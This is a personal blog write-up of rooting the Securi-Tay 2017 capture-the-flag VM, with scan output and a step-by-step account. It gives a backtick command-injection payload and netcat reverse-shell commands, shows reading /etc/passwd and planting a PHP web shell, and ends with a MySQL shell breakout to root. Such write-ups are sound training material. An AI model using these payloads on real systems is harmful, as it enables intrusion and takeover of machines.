Pentest Limited's SecuriCTF Write up


From time to time, I have time to look at and try some CTF (Capture the Flag) VMs to try to get root on. These are purpose built VMs to challenge people to break in. For the Securi-Tay 2017 conference, Pentest Limited released a CTF VM, and even though the solution was posted I decided to give it a go to see how I faired. The VM was aimed at the novice level, so I was in with a chance.

Once the VM was booted in virtualbox, I was presented with the IP address of the VM from inside the console screen. In this case my target was My attacking machine (Kali Linux) was sitting on As this is my virtualbox network, I knew that there shouldn't be anything else on the LAN, so I did a ping sweep to confirm, using nmap. The nmap command is

nmap -sP


Once happy there were no more IP Addresses, I proceeded with the NMAP scan of the host, starting with TCP. Once complete I was presented with the following output:

# nmap -p1-65535 -sT

Starting Nmap 7.40 ( ) at 2017-05-11 09:59 BST

Nmap scan report for

Host is up (0.019s latency).

Not shown: 65534 closed ports


80/tcp open  http

MAC Address: 08:00:27:82:1A:4C (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 8.73 seconds

Well, a web server is a pretty good place to start on most CTF VMs that I have come across, so I opened up my web browser, and was greeted with this page:









So a simple text box looked interesting. The first thing I did was to push the button to see what would happen. When I did, this screen was displayed:

Web browser + curl headers and biceps curler image.


From the response, the actions taken appeared to be run curl to download a page, and then display the page. So, if it's running a command, can I inject a command?








My first pass of just trying a valid url + ; id ; failed. Time to fall back to my normal position of enumeration. For this I fired up Dirbuster, and pointed it at the web server. While waiting for this to finish, I started a simple web server in python, and pointed it to a directory which I had set up for this particular exercise. The command I ran was just:

python -m SimpleHTTPServer

When I place (the attackers IP + default port for the python web server) in to the search bar, I was greeted with the directory listing from my machine. I next tried it with a crafted image I had from a different challenge which was both an image and a PHP script. Unfortunately, only the image displayed. I had also forgotten to check if the web server runs PHP!

My next step was to then fire up nikto and run that against the web server. My findings were:

# nikto -host -C all

- Nikto v2.1.6


+ Target IP:

+ Target Hostname:

+ Target Port:        80

+ Start Time:         2017-05-11 10:47:31 (GMT1)


+ Server: Apache/2.4.10 (Debian)

+ The anti-clickjacking X-Frame-Options header is not present.

+ The X-XSS-Protection header is not defined. This header can hint to the user $

+ The X-Content-Type-Options header is not set. This could allow the user agent$

+ Apache/2.4.10 appears to be outdated (current is at least Apache/2.4.12). Apa$

+ Web Server returns a valid response with junk HTTP methods, this may cause fa$

+ Server leaks inodes via ETags, header found with file /test.html, fields: 0xe$

+ OSVDB-3092: /test.html: This might be interesting...

+ OSVDB-3233: /icons/README: Apache default file found.

+ 26168 requests: 2 error(s) and 8 item(s) reported on remote host

+ End Time:           2017-05-11 11:15:51 (GMT1) (1700 seconds)


+ 1 host(s) tested

Again, no indication of PHP, or any other scripting language on the web server. I know there must be one, due to the action performed, unless it is using cgi to do the processing. While I pondered this, Dirbuster had finished:

My results from dirbuster



















So, a clear indication PHP is in use on the index page. Also, an uploads directory. Nothing to indicate how the files actually got in to that directory, how ever. Since I was now unsure how to proceed, I actually decided to try a new tool, which I had never used before. The tool is called Arachni. Running Arachni against the web server was quite simple, just:

# arachni

Arachni produced a lot of information in afr format, which need to be converted to html for me to sift through. Upon examination, I found that arachni had found the command injection I was looking at earlier, but had more success with running commands. Arachni suggested using back ticks. After changing the url in the text box to be

http://localhost/test.html ` id `

I was greeted with www-data on the screen. This was consistent with the web user from a Debian machine. Starting up a netcat session on my attacker on port 8888 and set the text box to read:

http://localhost/test.html ` netcat 8888 -e /bin/sh `

My netcat shell then indicated I had a prompt, and I tried a few things out:

# netcat -l -v -p 8888

Listening on [] (family 0, port 8888)

Connection from 40745 received!





uname -a

Linux ctf 3.16.0-4-amd64 #1 SMP Debian 3.16.39-1 (2016-12-30) x86_64 GNU/Linux

ls /home/


cat /etc/passwd















list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin


gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nolog$


systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/fa$

systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin$

systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false

systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false





mysql:x:108:114:MySQL Server,,,:/nonexistent:/bin/false


netstat -antp

Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name

tcp        0      0  *               LISTEN      5377/netcat

tcp        0      0  *               LISTEN      -

tcp        0      0*               LISTEN      -

tcp        0      0       ESTABLISHED 5499/sh

tcp6       0      0 ::1:25                  :::*                    LISTEN      -

tcp6       0      0 :::80                   :::*                    LISTEN      -

tcp6       1      0      CLOSE_WAIT  -

tcp6       1      0      CLOSE_WAIT  -

So, 2 internal services which don't appear to the outside world. At first glance, these appear to be a mail server (TCP port 25) and MySQL (TCP port 3306). Before proceeding I took a look at the web server directory, and found that uploads was writable by the web server. I downloaded a laudanum PHP web shell in the directory for a extra helping hand.

I then examined the index.PHP page, to see if there were anything useful in there, but other than the validation rules to try to stop command injections and the confirmation of my suspicion of curl being run, nothing else was gained by the inspection. However the lack of a mysql connection string was interesting. This could be a sign of the database being a legacy service, rather than in use. Legacy might mean interesting.

Enumerating locally, I found that the mail server was Exim (specifically EXIM 4.84_2) just by connecting to the port via telnet. Searching through the exploit-db, the only exploit I can find requires Perl to be loaded, and to be Debian-exim. Neither of which is me, so I note it down and move on.

In the ctfuser's home directory, I notice the file mydbconnchecker. I run the command, and it appears to connect to the database as root and check the status of the database. Examining the file using:

strings -a ./mydbconnchecker

I find this which looks interesting:


Program started by User %d

===Connecting to database:mysql on

show tables

MySQL Tables in mysql database:

Running the commands

bash 2>&1

python -c 'import pty; pty.spawn("/bin/sh")'

mysql -u root -prorschach

does let me in to the mysql database as root. Good, but not the actual system root. With not finding anything interesting initially, I note the root login and drop back to the shell and enumerate further. Enumerating the kernel appears to indicate that it is vulnerable to the dirtycow vulnerability. After trying, I confirm that it actually doesn't appear to be. Enumerating the running processes does reveal that mysql is running as root, rather than the default mysql.

I logged back in to mysql and tried a few exploits. The first one, the raptor udf, was foiled by the secure auth files attribute, as well as I was trying to write to directories I was not allowed to. Similar story for the log file not allowing writing to /etc/mysql/my.cnf.

At this point I was stuck. I reached out to a friend who gave me the advice to examine the mysql server further. So I started googling the words "mysql root shell" and eventually came across a shell break out for mysql. I had seen this in plenty of other applications (such as vi or asterisk) but not in mysql. I started another netcat listener (this time on port 8889) and ran the following on the mysql server:

\! netcat 8889 - e '/bin/sh';

The netcat listener gave the output:

# netcat -lvp 8889

Listening on [] (family 0, port 8889)

Connection from 46229 received!






Yay! I was root. I changed directory to /root/ and performed an ls:

# ls -l

ls -l

total 16

-r-x------ 1 root root 8096 Feb 24 21:32 flag-gen

---------- 1 root root  285 Feb  2 15:18 flag.txt

---------- 1 root root  451 Feb  2 13:43 public_key.pem

Time to look at the flag.txt file:

# cat flag.txt

cat flag.txt

Please run the flag-gen binary in the /root/ folder to generate your unique flag. If you have got this far and are interested doing this sort of thing for a living, send an email to with your unique flag, a description of how you found it and your CV. Well Done!

So Running flag-gen gave:

# ./flag-gen


Please supply your name as an argument.

And running the command properly gave:

# ./flag-gen "Tim Wilkes"                                       

./flag-gen "Tim Wilkes"






In conclusion, this was a fun challenge and I got to learn more about arachni, and something new about mysql. I also have noted that Pentest have another VM, this time at a higher level, which I may well have a got at.


Display comments as (Linear | Threaded)

    No comments

Add Comment

Enclosing asterisks marks text as bold (*word*), underscore are made via _word_.
Standard emoticons like :-) and ;-) are converted to images.
E-Mail addresses will not be displayed and will only be used for E-Mail notifications.
To leave a comment you must approve it via e-mail, which will be sent to your address after submission.
You can use [geshi lang=lang_name [,ln={y|n}]][/geshi] tags to embed source code snippets.
You can use [geshi lang=lang_name [,ln={y|n}]][/geshi] tags to embed source code snippets.

Submitted comments will be subject to moderation before being displayed.